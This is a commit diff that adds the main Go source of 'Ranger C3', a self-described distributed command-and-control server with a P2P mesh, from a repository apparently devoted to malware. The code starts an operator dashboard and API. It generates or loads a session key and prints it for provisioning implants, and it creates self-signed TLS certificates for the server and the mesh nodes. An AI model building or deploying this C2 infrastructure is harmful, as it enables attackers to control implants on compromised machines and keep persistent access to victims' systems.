Upload files to "cmd/c2"

2026-09-24 08:34:47 +00:00 · 2026-09-19 16:59:41 +00:00
parent 3b0f47c216
commit e1e4e45b6c
1 changed files with 321 additions and 0 deletions
@@ -0,0 +1,321 @@
+// Ranger C3 - Distributed C2 Server with P2P Mesh
+//
+// Usage:
+//
+//	go run ./cmd/c2 --listen :4443 --db data/c2.db --password "changeme" --key <session-key-hex>
+//	go run ./cmd/c2 --listen :4443 --mesh :9000 --bootstrap "10.0.0.2:9000"
+package main
+
+import (
+	"crypto/ed25519"
+	"crypto/rand"
+	"crypto/tls"
+	"crypto/x509"
+	"crypto/x509/pkix"
+	"encoding/hex"
+	"encoding/pem"
+	"flag"
+	"fmt"
+	"log"
+	"math/big"
+	"net"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/api"
+	"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/mesh"
+	"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/protocol"
+	"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/store"
+)
+
+// truncate limits s to n characters (no-op when shorter).
+func truncate(s string, n int) string {
+	if len(s) > n {
+		return s[:n]
+	}
+	return s
+}
+
+func main() {
+	listen := flag.String("listen", ":4443", "C2 listen address")
+	meshListen := flag.String("mesh", "", "Mesh P2P listen address (empty = no mesh)")
+	bootstrap := flag.String("bootstrap", "", "Comma-separated bootstrap mesh peers")
+	dbPath := flag.String("db", "data/c2.db", "Database path")
+	password := flag.String("password", "", "Operator dashboard password (plaintext or bcrypt hash)")
+	keyHex := flag.String("key", "", "Session key hex (32 bytes). Omit to generate and print one")
+	tlsCert := flag.String("cert", "", "TLS certificate file")
+	tlsKey := flag.String("tls-key", "", "TLS key file")
+	generateCerts := flag.Bool("gen-certs", false, "Generate or reuse self-signed TLS certs")
+	genCertsOnly := flag.Bool("gen-certs-only", false, "Generate or reuse self-signed certs and exit")
+	forceCerts := flag.Bool("force-certs", false, "Regenerate self-signed certs even if they exist")
+	certSans := flag.String("cert-sans", "", "Extra comma-separated DNS names / IPs for generated cert SANs")
+	c2ID := flag.String("id", "", "C2 node ID (auto if empty)")
+	flag.Parse()
+
+	// Generate or use C2 ID
+	nodeID := *c2ID
+	if nodeID == "" {
+		b := make([]byte, 16)
+		rand.Read(b)
+		nodeID = fmt.Sprintf("c2-%x", b)[:20]
+	}
+
+	// Ensure data directory
+	os.MkdirAll(filepath.Dir(*dbPath), 0700)
+
+	// Generate or reuse self-signed certs if requested
+	if *generateCerts || *genCertsOnly {
+		certFile, keyFile, generated, err := ensureSelfSignedCert(nodeID, *certSans, *forceCerts)
+		if err != nil {
+			log.Fatalf("cert generation: %v", err)
+		}
+		tlsCert = &certFile
+		tlsKey = &keyFile
+		if generated {
+			log.Printf("[c2] generated self-signed cert: %s / %s", certFile, keyFile)
+		} else {
+			log.Printf("[c2] reusing existing certs: %s / %s (use --force-certs to regenerate)", certFile, keyFile)
+		}
+		if *genCertsOnly {
+			fmt.Printf("certs ready: %s / %s\n", certFile, keyFile)
+			return
+		}
+	}
+
+	// Open database
+	st, err := store.New(*dbPath)
+	if err != nil {
+		log.Fatalf("db: %v", err)
+	}
+	defer st.Close()
+
+	// Session key for implant comms. When not provided, generate one and
+	// print it so implants can be provisioned with the same key.
+	var sessionKey []byte
+	if *keyHex != "" {
+		var err error
+		sessionKey, err = hex.DecodeString(*keyHex)
+		if err != nil {
+			log.Fatalf("bad -key hex: %v", err)
+		}
+		if len(sessionKey) != 32 {
+			log.Fatalf("-key must decode to 32 bytes, got %d", len(sessionKey))
+		}
+	} else {
+		sessionKey = make([]byte, 32)
+		if _, err := rand.Read(sessionKey); err != nil {
+			log.Fatalf("keygen: %v", err)
+		}
+		log.Printf("[c2] generated session key (provision implants with -key): %x", sessionKey)
+	}
+
+	// Build API server config
+	apiCfg := api.Config{
+		ListenAddr:  *listen,
+		C2ID:        nodeID,
+		SessionKey:  sessionKey,
+		TLSEnabled:  *tlsCert != "" && *tlsKey != "",
+		TLSCertFile: *tlsCert,
+		TLSKeyFile:  *tlsKey,
+		Store:       st,
+		DashboardPW: *password,
+	}
+
+	srv, err := api.New(apiCfg)
+	if err != nil {
+		log.Fatalf("api: %v", err)
+	}
+
+	// Start mesh networking if configured
+	if *meshListen != "" {
+		meshCert, err := generateMeshCert(nodeID)
+		if err != nil {
+			log.Fatalf("mesh cert: %v", err)
+		}
+
+		var bootstrapPeers []string
+		if *bootstrap != "" {
+			bootstrapPeers = strings.Split(*bootstrap, ",")
+		}
+
+		meshCfg := mesh.Config{
+			NodeID:     nodeID,
+			ListenAddr: *meshListen,
+			Bootstrap:  bootstrapPeers,
+			TLSCert:    *meshCert,
+			OnHeartbeat: func(hb *protocol.MeshHeartbeat) {
+				log.Printf("[mesh] heartbeat from %s", truncate(hb.NodeID, 8))
+			},
+			OnPeerJoin: func(n *protocol.MeshNode) {
+				log.Printf("[mesh] peer joined: %s @ %s", truncate(n.ID, 8), n.Addr)
+				st.UpsertMeshNode(n)
+			},
+			OnPeerLeave: func(id string) {
+				log.Printf("[mesh] peer left: %s", truncate(id, 8))
+			},
+		}
+
+		meshNode := mesh.NewNode(meshCfg)
+		if err := meshNode.Start(); err != nil {
+			log.Fatalf("mesh: %v", err)
+		}
+		defer meshNode.Stop()
+
+		log.Printf("[c2] mesh node active on %s", *meshListen)
+	}
+
+	// Print banner
+	fmt.Println("=" + strings.Repeat("=", 59))
+	fmt.Println("  RANGER C3 - Distributed Mesh C2 Framework")
+	fmt.Println("  Node:", truncate(nodeID, 12)+"...")
+	fmt.Println("  Listen:", *listen)
+	fmt.Println("  TLS:", *tlsCert != "")
+	fmt.Println("  Mesh:", *meshListen)
+	fmt.Println("  DB:", *dbPath)
+	fmt.Println("  SessionKey:", hex.EncodeToString(sessionKey[:8])+"...")
+	fmt.Println("=" + strings.Repeat("=", 59))
+
+	// Start the server
+	if err := srv.Start(); err != nil {
+		log.Fatalf("server: %v", err)
+	}
+}
+
+// ensureSelfSignedCert reuses existing certs unless missing or force is set.
+func ensureSelfSignedCert(nodeID, extraSans string, force bool) (certFile, keyFile string, generated bool, err error) {
+	certFile = filepath.Join("certs", "c2-cert.pem")
+	keyFile = filepath.Join("certs", "c2-key.pem")
+	if !force {
+		if _, e1 := os.Stat(certFile); e1 == nil {
+			if _, e2 := os.Stat(keyFile); e2 == nil {
+				return certFile, keyFile, false, nil
+			}
+		}
+	}
+	cf, kf, err := generateSelfSignedCert(nodeID, extraSans)
+	if err != nil {
+		return "", "", false, err
+	}
+	return cf, kf, true, nil
+}
+
+func generateSelfSignedCert(nodeID, extraSans string) (certFile, keyFile string, err error) {
+	_, priv, err := ed25519.GenerateKey(rand.Reader)
+	if err != nil {
+		return "", "", err
+	}
+
+	dnsNames := []string{"localhost"}
+	ipAddrs := []net.IP{net.ParseIP("127.0.0.1"), net.ParseIP("::1")}
+	seenIP := map[string]bool{"127.0.0.1": true, "::1": true}
+
+	if hn, herr := os.Hostname(); herr == nil && hn != "" {
+		dnsNames = append(dnsNames, hn)
+	}
+
+	if ifaces, ierr := net.Interfaces(); ierr == nil {
+		for _, iface := range ifaces {
+			addrs, aerr := iface.Addrs()
+			if aerr != nil {
+				continue
+			}
+			for _, addr := range addrs {
+				ipn, ok := addr.(*net.IPNet)
+				if !ok || ipn.IP.IsLoopback() {
+					continue
+				}
+				if !seenIP[ipn.IP.String()] {
+					seenIP[ipn.IP.String()] = true
+					ipAddrs = append(ipAddrs, ipn.IP)
+				}
+			}
+		}
+	}
+
+	for _, s := range strings.Split(extraSans, ",") {
+		s = strings.TrimSpace(s)
+		if s == "" {
+			continue
+		}
+		if ip := net.ParseIP(s); ip != nil {
+			if !seenIP[ip.String()] {
+				seenIP[ip.String()] = true
+				ipAddrs = append(ipAddrs, ip)
+			}
+			continue
+		}
+		dnsNames = append(dnsNames, s)
+	}
+
+	template := &x509.Certificate{
+		SerialNumber: big.NewInt(time.Now().UnixNano()),
+		Subject: pkix.Name{
+			CommonName:   nodeID,
+			Organization: []string{"Ranger C3"},
+		},
+		DNSNames:              dnsNames,
+		IPAddresses:           ipAddrs,
+		NotBefore:             time.Now().Add(-1 * time.Hour),
+		NotAfter:              time.Now().Add(365 * 24 * time.Hour),
+		KeyUsage:              x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
+		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
+		BasicConstraintsValid: true,
+	}
+
+	certDER, err := x509.CreateCertificate(rand.Reader, template, template, priv.Public(), priv)
+	if err != nil {
+		return "", "", err
+	}
+
+	certDir := "certs"
+	os.MkdirAll(certDir, 0700)
+
+	certFile = filepath.Join(certDir, "c2-cert.pem")
+	keyFile = filepath.Join(certDir, "c2-key.pem")
+
+	certOut, _ := os.Create(certFile)
+	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: certDER})
+	certOut.Close()
+
+	keyBytes, _ := x509.MarshalPKCS8PrivateKey(priv)
+	keyOut, _ := os.Create(keyFile)
+	pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: keyBytes})
+	keyOut.Close()
+
+	return certFile, keyFile, nil
+}
+
+func generateMeshCert(nodeID string) (*tls.Certificate, error) {
+	pub, priv, err := ed25519.GenerateKey(rand.Reader)
+	if err != nil {
+		return nil, err
+	}
+
+	template := &x509.Certificate{
+		SerialNumber: big.NewInt(time.Now().UnixNano()),
+		Subject: pkix.Name{
+			CommonName:   nodeID,
+			Organization: []string{"Ranger Mesh"},
+		},
+		NotBefore:             time.Now().Add(-1 * time.Hour),
+		NotAfter:              time.Now().Add(365 * 24 * time.Hour),
+		KeyUsage:              x509.KeyUsageDigitalSignature,
+		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
+		BasicConstraintsValid: true,
+	}
+
+	certDER, err := x509.CreateCertificate(rand.Reader, template, template, pub, priv)
+	if err != nil {
+		return nil, err
+	}
+
+	tlsCert := &tls.Certificate{
+		Certificate: [][]byte{certDER},
+		PrivateKey:  priv,
+		Leaf:        template,
+	}
+
+	return tlsCert, nil
+}